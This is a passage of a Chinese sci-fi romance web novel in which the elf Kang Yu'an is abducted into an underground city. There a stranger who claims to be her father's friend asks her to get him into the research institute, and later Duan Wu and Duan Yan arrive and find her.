“端局,你们留下的小精灵不见了……”高所急得声音都尖锐了,像是碎玻璃一样,划过端戊瞬间变脆的心。 “康屿安不见了?”端戊的声音瞬间高出好几个调,瞪着一旁把黑葡萄都快要瞪出来的端砚。 “康屿安怎么会不见了?”端砚立刻弹了起来,高所不是点头微笑地保证了吗? 高所真得谢谢端砚的理解能力,直接送了一口黑锅给他。 “如果康屿安有什么事,我剃光你的头发!”端戊嗖地上了车头凹进去的黑玉石,很多系统都撞失灵了,意识方向盘也没反应,好在还能切换复古方向盘。 端砚下意识双手捂住头顶:还真是亲姐,要的不是我小命。 眼看着车子启动了,一点都没有等她的意思,端砚一跃而起踩着旋风,原路返回坐进车子里。 外面都已经找疯了,康屿安却已经在地下城了。 才刚空下来几个月,地下城就已经变成了恐怖片片场。偶尔能听到渗漏下来的水滴声,或者碰见饭后出来消食的老鼠。 康屿安不太知道刚刚发生了什么,只是觉得一阵眩晕,她想要喊高所却没发出声音。 甚至她伸手去拉刚给她做完笔录转身离开的民警,都没做到。明明他俩之间的就一步距离,明明她都感觉到自己碰到了他的衣服,却被铺天盖地的眩晕控制了身体。 康屿安叹了一口气:最终没能逃过去,怎么像提前安排好的剧本? 整个人被抽空似的闭上眼睛,用仅剩下的力气咬破了手指,说不定能给端戊留下线索呢。 晕头转向地进入了一个急速翻转的空间,如同掉进了洗衣机里,几乎快要被搅碎了,每一次转动胃里都是一阵翻腾。 康屿安咬紧牙关地撑着,就快要撑不住的时候,感觉又掉进一口井里。康屿安好奇的把眼睛睁开一条缝,好像在坐一路向下、深不见底的过山车。 速度快得啊,明明没有轮子却摩擦地打铁花似的,康屿安又把眼睛闭上了。 恐高,怕瞎。 又下滑了一会儿,速度放缓了,越来越慢。康屿安刚睁开眼睛,已经 一屁股坐在地上了。 眼熟?来过?地下城。 康屿安现在顾不上想怎么来到这的,现在她更想知道怎么离开。这里的排水管道就复杂了,上上下下的都是。 四处张望,快速规划回去的路线。 “啊!”康屿安尖叫着从地上跳起来,连连后退。 一只出来散步的老鼠,好久没看到两条腿走路的生物了,爬到康屿安的鞋子上歪着头看她。 精灵和老鼠视线对上后,精灵落败。 “啊!谁?“被老鼠吓破胆的康屿安咚地撞到了一个人,还踩了他的脚,从脚感猜测,是个成年人,性别男。 康屿安瞬间拔腿就跑,魂在前面飞,人在后面追。 “安安!”一个陌生的声音,轻微颤抖的喊住了她。 康屿安忘了害怕,停在原地慢慢转头。前面只顾自己跑的魂儿也好奇的回到她的身体里。 没有多少人是喊她‘安安’的,在地球上,只有端妈和崔雪松。而现在崔雪松……难道是? 看到身后的人,康屿安晶亮的眼睛瞬间就黯淡下来了。 那是一个陌生又普通的精灵,三十五六岁的样子。深灰色的耳朵,眼睛很小,眨眼很频繁。是怕哪一拍眨得慢了,那条缝就会长合了吗? 他看到康屿安停下来,有点激动的向前迈出一步。突然的动作吓了康屿安一跳,连连后退了几步。 “安安别怕,我是……”小眼睛精灵发现自己吓到康屿安了,停了下来,话说到一半却哽住了。 已经把耳朵竖起的康屿安,睁大了眼睛看着他:等着你说你是谁呢!怎么还不说了? “我是你爸爸的朋友。”小眼睛缓缓抬起头,眼圈有些红。 “我爸爸妈妈怎么样了?”康屿安知道他在说谎,他爸爸没有灰色耳朵的朋友。可那根本不重要,她太想知道爸爸妈妈的消息了。 灰色耳朵是近百年崛起的新贵,听说跨阶层的过程并不光彩,太爷爷不允许和他们有交集,于是,康家又多了一条祖训。 “他们,他们……”小眼睛精灵垂下头,握紧拳头。 康屿安满眼质疑的紫眼睛,一眨不眨的看着他:我是问了很让他为难的问题吗?要么知道,要么不知道,这是在编第三个答案吗? 除了着急,她还多了几分期待呢。 “我很久没见到他们了,来到地球后,就听说了最后一批离开的精灵都在地球上,我就一直在找你,知道你没事,我也就放心了。”小眼睛精灵眨眼的速度更快了,就怕康屿安不知道他在说谎似的。 “我好像并没见过你。”康屿安有种被当傻子的感觉,悄悄地找遁走的位置。 “我叫邹盾,见你的时候,你还是个抱在怀里的宝宝。后来我去了其他星球,就没再回朝暮星。”邹盾语速很快,眼睛一直看着康屿安。 “邹盾……不知道,没听过。你就是为了看看我?现在看到了,那我走了。”康屿安的耳朵绷得直直的,那是她感知到危险的反应。 “等一下!”邹盾上前一步,抓住了康屿安的手腕。 66.第 66 章 猝不及防的被捉住手腕,康屿安的小耳朵嗖地立起来进入警戒状态。 她用另一只手用力往回拽被拉住的手,像拔河似的使出全身的劲儿。 咧嘴咬牙的同时,还不忘困惑的看向邹盾:奇怪,以往和陌生人接触会鸡皮疙瘩掉一地。这次怎么没有那种不舒服的排斥感? 难道自己真的和他熟悉?真的像他说的那样,还是个宝宝的时候就认识这个人? “有事儿说事儿!你放开我!”康屿安瞪大眼睛,让自己看起来凶一点。 “安安,你现在工作了是吗?水文研究所?”邹盾迟疑了片刻,确定康屿安不会跑后才放开她。 就是这个瞬间安心的眼神,让康屿安头皮发麻:他很了解我,他是看出来我不会跑才放手的。 邹盾身上的疑点瞬间成为最严重的问题,虽然没打算跑,康屿安还是揉着手腕上的红色手指印向后退了两步:“你问这个干什么?” “没什么,听说战争结束后,全球的植物都枯萎了,只有研究所的植物没受到影响,还长得特别好。单纯就是好奇,真是这么样的吗?”邹盾眨着眼解释,手上比划的小动作不断。 康屿安再次警惕的睁大了眼睛,突然明白他找自己的目的了:“听说?听谁说的?” 她自己也是到了研究所几个月以后,才从零碎的信息里拼凑出了一个事实:研究所有个成立很久的项目,可以改变、甚至固化环境。 只是目前的研究成果波及的范围还很有限,仅限于研究所整个大院吧。 她甚至都不知道,所里研究方向是大批量的复制后覆盖全球,还是扩大项目的波及范围,通过卫星或者其他方式遍布全球。 而眼前这个自称邹盾的人,刚到地球没多久不但知道这项技术,还向自己打听这件事。真是搞笑,你怎么不说让我带你进去看看呢? “都是道听途说的,也不知道是真的是假的。所以,安安,能不能带我进去参观一下?” “什么?”康屿安甚至怀疑自己的耳朵,都不愿意相信他还真能提出这样的请求了。 “我,我是说如果方便的话……”邹盾又不是傻子,他也察觉到了康屿安语气里质疑和敌意,这让他更加局促了。 “你把我绑到这里来,就是为了让我带你进研究所的吧?”康屿安一阵见血的戳破真相。 “我没有……是有人想用折叠空间把你绑走,我冲破空间把你救出来的。折叠空间不是好东西,技术根本不成熟,你很有可能会变成傻子的。”邹盾更加的手舞足蹈了,语速快得每个字都连成串,连个标点都么得。 好在说的是朝暮语,如果是这个语速的地球语,康屿安恐怕都不知道他在说什么。 “那我应该谢谢你咯?是不是作为回报,我要带你进研究所?”康屿安开始重新审视他,收敛了些刚刚对他的轻视,也不再认为找这样的一个人做间谍有点像闹着玩。 往往他这样的人,才最容易让人放松戒备、容易轻敌。比如说刚刚她就没把他当回事儿,然而这样的人也是隐藏最深的。 可不是所有的人都能从折叠空间里,完好无损、不留痕迹地把人救出来。 “我没有这个意思,我救你是因为我是你爸爸的朋友。”邹盾垂下头、搓了搓手,不知道在想什么。 “谢谢你救了我,如果不需要我回报,我就走了。”康屿安心里是感激他救下自己的,不管他出于什么目的。 可是她只想快点离开这,也不想再见到这个人了。很奇怪的感觉,不是厌恶,而是难过。 感激归感激的,康屿安对他的戒备是一点没减,她把两只手交叉着放在身前,三步并作两步的快速倒腾着不太长的腿。 “你不想救朝暮星吗?你不想回家吗?”邹盾猛地抬起头,像是把刚刚积聚的勇气都用来喊这一嗓子。 康屿安知道他是什么意思。 可是康家的祖训,从小的教养让她做不出窃取的事情。当她知道所里研发的技术时,第一反应就算朝暮星有救了。 从那天开始,她更是泡在实验室里不愿意出来了。康屿安想要用治水作为交换来拯救朝暮星的植物。 “我当然想……”康屿安不想和他解释,不管他说了什么,做了什么,对她来说都是陌生人。 但不代表她愿意被质疑一颗爱朝暮星的心。对朝暮星的热爱还没表达,就被打断了。 “康屿安!”端戊的声音从身后炸开,确切说,是在她和邹盾身后炸开。 “端戊,你这么快就找到我了?”康屿安像是太阳升起时第一株猛回头的向日葵,转过头视线越过邹盾,锁定了端戊。 这会儿的心情复杂得不得了:终于找到了我!真是厉害!还挺快的!她啥时候来的?听到多少?会不会误会? 其实康屿安是那种心里想着什么,嘴上表达的出来就单纯是字面意思的人。怪只怪长得太过于机灵,总让人觉得弦外还有其他的音。 特别是听在一句话得掰碎细品的端戊耳朵里,妥妥的就是话里有话:我来早了? “你有血迹留在现场,就相当于把勘测你气息的范围加了个放大镜,你哪受伤了?”哪怕感觉到自己被嫌弃了,端戊的担心还是压都压不住。 “我没事,本来是想留点线索给你的,没想到还有这么大的作用。”康屿安像是走失的小孩儿被家长找到了,委屈巴巴的扯着端戊,袖子被捏得皱巴巴的。 “那个人是谁啊?”端砚看到康屿安没事,长舒一口气。她姐不会疯了,她的头发也保住了。 只是,这个不起眼到甚至有点丑的精灵又是谁呢? “我是邹盾,她爸爸的朋友,凑巧救下了她,你们是?”邹盾抬起头,完全没有了在康屿安面前的局促。举止气度很有些望族风范。 康屿安不由多看了两眼:这还是刚刚的那个邹盾吗?这样看来,还真的有些熟悉,有那么一点像爸爸的朋友了。 “我们是她地球上的家人。”端砚走到康屿安身边,揽过她的肩膀。 康屿安颇有些意外的看向端砚:原来不只是自己这么想,端戊一家人也都是把自己当作家人的。 “看什么看?我说的不对 吗?”端砚竖起眉毛,瞪大眼睛。 其实心里是有点虚的,她真害怕康屿安会说:不是朋友吗?怎么就是家人了?毕竟不久前她俩还在互掐。 “对!特别的对!”康屿安没有躲开,也没有否认,捣蒜似的点头,小耳朵也跟着前后摇晃。 “嗯……好!”第一次被康屿安这么直接的认可,端砚一时还没接住。 邹盾正看着紫色耳朵发呆,康屿安却被端戊一把拉到身后,挡得严严实实。和端戊对视一眼后,黯然的垂下头。 端戊眉心促成一团:眼睛虽小,眼里装的情绪可复杂着呢。没有觊觎,却有种说不清的占有欲。看似失落,却更多的是愤怒。 “邹盾是吗?有地球居住证吗?”端戊面色沉峻的询问。 她注意到邹盾的耳朵一直都是半垂着的,就好像他很嫌弃自己的这对耳朵,不止是耳朵,他好像嫌弃整个身体。 “还没有。”邹盾没有抬头,虽然身姿依然挺拔,可是明显没有了刚刚的气度。 “抬起头来。”端戊开启了曈视摄像头。 邹盾缓缓的抬起头来,这次端戊看清楚了,他的眼里更多的是屈辱,眼睛努力越过端戊去找康屿安。 “可以了,尽快来一趟清异局办理一下相关手续,走吧。”端戊语气淡淡的没有起伏,可是每个字都稳稳的冲破空气,钉进邹盾的耳朵里。 “好。”邹盾努力的伸长脖子,想要再看康屿安一眼,却没能如愿,一小只精灵被松柏一样的端戊挡得衣角都看不到。 “安安,我走了。”邹盾的声音里,是被抽去筋骨的无力感。 端戊微抬下巴,睥睨着邹盾。同时把手伸到背后,拉住康屿安的小手。 自从多了一个崔雪松整天安安长、安安短的,已经让她忍无可忍了,现在又来了一个? “呦!姐你现在可是越来越……”看着端戊宣誓主权的德行,端砚就想吐槽。 端戊飞过来一个警示的刀眼,康屿安把另一只小爪子偷偷搭在了她腰上,她就知道以一敌二胜算不大,她决定做一个识时务的俊杰。 一直注视着邹盾的背影消失,端戊才收回视线。脑子里突然闪过一个匪夷所思的念头,可是怎么可能呢? “你把自己哪里弄伤了?”端戊转过身来,看着像被十几级大风吹过的康屿安,修长的手指一点点的帮她把头发理顺。 “喏,这儿……”康屿安把血迹已经干了的手指,调皮的举到端戊鼻尖上。 端戊差点对眼了,握住康屿安的手腕,拿远了一些仔细的看了半天,凑近小口小口的帮她吹手指。 “你俩现在变得面目全非了自己知道吗?至于吗?起开,让我看看,是不是已经长合了?”端砚夸张抢过康屿安的手指,再端戊眼前晃了晃。 那样子,像是在看一个傻子。哦不,是瞎了的傻子。 “端砚,你最好别给我吐槽你的机会。”康屿安抗拒的抽回手,双手挽着端戊的手臂,整个人都挂了上去。 “怎么可能……”端砚话没说完,曈视就有视频弹了进来。